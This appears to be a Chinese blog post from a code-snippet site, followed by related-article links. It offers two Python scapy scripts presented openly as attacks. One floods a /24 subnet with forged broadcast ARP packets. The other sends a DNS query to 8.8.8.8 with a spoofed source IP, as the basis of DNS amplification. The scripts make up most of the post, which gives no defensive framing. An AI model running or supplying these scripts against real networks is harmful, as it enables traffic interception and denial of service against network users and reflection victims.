Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子


Posted in Python onOctober 23, 2014

scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送、嗅探、解析和伪造网络数据包,常常被用到网络攻击和测试中。

这里就直接用python的scapy搞。

这里是arp的攻击方式,你可以做成arp攻击。

#!/usr/bin/python

"""

ARP attack

"""

import sys, os

from scapy.all import *

if os.geteuid() != 0:

    print "This program must be run as root. Aborting."

    sys.exit()
if len(sys.argv) < 2:

    print "Pkease Use %s x.x.x" % (sys.argv[0])

    exit()

attackIP = sys.argv[1] + ".0/24"

srploop(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=attackIP, psrc="192.168.1.100", hwsrc="00:66:66:66:66:66"), timeout=2)

dns放大攻击

#coding:utf-8

from scapy import *

from scapy.all import *
a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip

b = UDP(dport=53)

c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)

c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)

p = a/b/c

send(p)

~
Python 相关文章推荐
用python实现批量重命名文件的代码
May 25 Python
python使用线程封装的一个简单定时器类实例
May 16 Python
Python实现删除当前目录下除当前脚本以外的文件和文件夹实例
Jul 27 Python
Python中字典的基础知识归纳小结
Aug 19 Python
Python脚本实现虾米网签到功能
Apr 12 Python
python七夕浪漫表白源码
Apr 05 Python
python ChainMap 合并字典的实现步骤
Jun 11 Python
Django框架HttpRequest对象用法实例分析
Nov 01 Python
Python数据可视化:幂律分布实例详解
Dec 07 Python
python代码实现将列表中重复元素之间的内容全部滤除
May 22 Python
python让函数不返回结果的方法
Jun 22 Python
python中if和elif的区别介绍
Nov 07 Python
使用Python开发windows GUI程序入门实例
Oct 23 #Python
手动实现把python项目发布为exe可执行程序过程分享
Oct 23 #Python
python文件操作整理汇总
Oct 21 #Python
Python中input和raw_input的一点区别
Oct 21 #Python
Python中if __name__ == &quot;__main__&quot;详细解释
Oct 21 #Python
Python创建文件和追加文件内容实例
Oct 21 #Python
python3生成随机数实例
Oct 20 #Python
You might like
PHP文章采集URL补全函数(FormatUrl)
2012/08/02 PHP
分享下页面关键字抓取components.arrow.com站点代码
2014/01/30 PHP
php实现把数组按指定的个数分隔
2014/02/17 PHP
php blowfish加密解密算法
2016/07/02 PHP
深入理解PHP中mt_rand()随机数的安全
2017/10/12 PHP
JQuery处理json与ajax返回JSON实例代码
2014/01/03 Javascript
jquery-syntax动态语法着色示例代码
2014/05/14 Javascript
什么是 AngularJS?AngularJS简介
2014/12/06 Javascript
JavaScript表格常用操作方法汇总
2015/04/15 Javascript
微信小程序 检查接口状态实例详解
2017/06/23 Javascript
BootStrap Table前台和后台分页对JSON格式的要求
2017/06/28 Javascript
Javascript中 toFixed四舍六入方法
2017/08/21 Javascript
vue中实现移动端的scroll滚动方法
2018/03/03 Javascript
如何解决vue2.0下IE浏览器白屏问题
2018/09/13 Javascript
详解Element 指令clickoutside源码分析
2019/02/15 Javascript
react native 原生模块桥接的简单说明小结
2019/02/26 Javascript
简单了解Javscript中兄弟ifream的方法调用
2019/06/17 Javascript
layui form.render('select', 'test2') 更新渲染的方法
2019/09/27 Javascript
js滚轮事件 js自定义滚动条的实现
2020/01/18 Javascript
jQuery实现简单评论区功能
2020/10/26 jQuery
django1.8使用表单上传文件的实现方法
2016/11/04 Python
Python科学计算之Pandas详解
2017/01/15 Python
详解Python发送email的三种方式
2018/10/18 Python
python函数修饰符@的使用方法解析
2019/09/02 Python
python中栈的原理及实现方法示例
2019/11/27 Python
python如何通过twisted搭建socket服务
2020/02/03 Python
pandas针对excel处理的实现
2021/01/15 Python
浏览器实现移动端高性能css3动画(开启gpu加速)
2013/12/23 HTML / CSS
Europcar意大利:汽车租赁
2019/07/07 全球购物
雅诗兰黛加拿大官网:Estee Lauder加拿大
2019/07/31 全球购物
介绍一下except的用法和作用
2015/01/22 面试题
高中生职业生涯规划书
2014/02/24 职场文书
一句话工作感言
2014/03/01 职场文书
《骑牛比赛》教后反思
2014/04/22 职场文书
2015年幼儿园保育员工作总结
2015/04/23 职场文书
运动会闭幕式主持词
2015/07/01 职场文书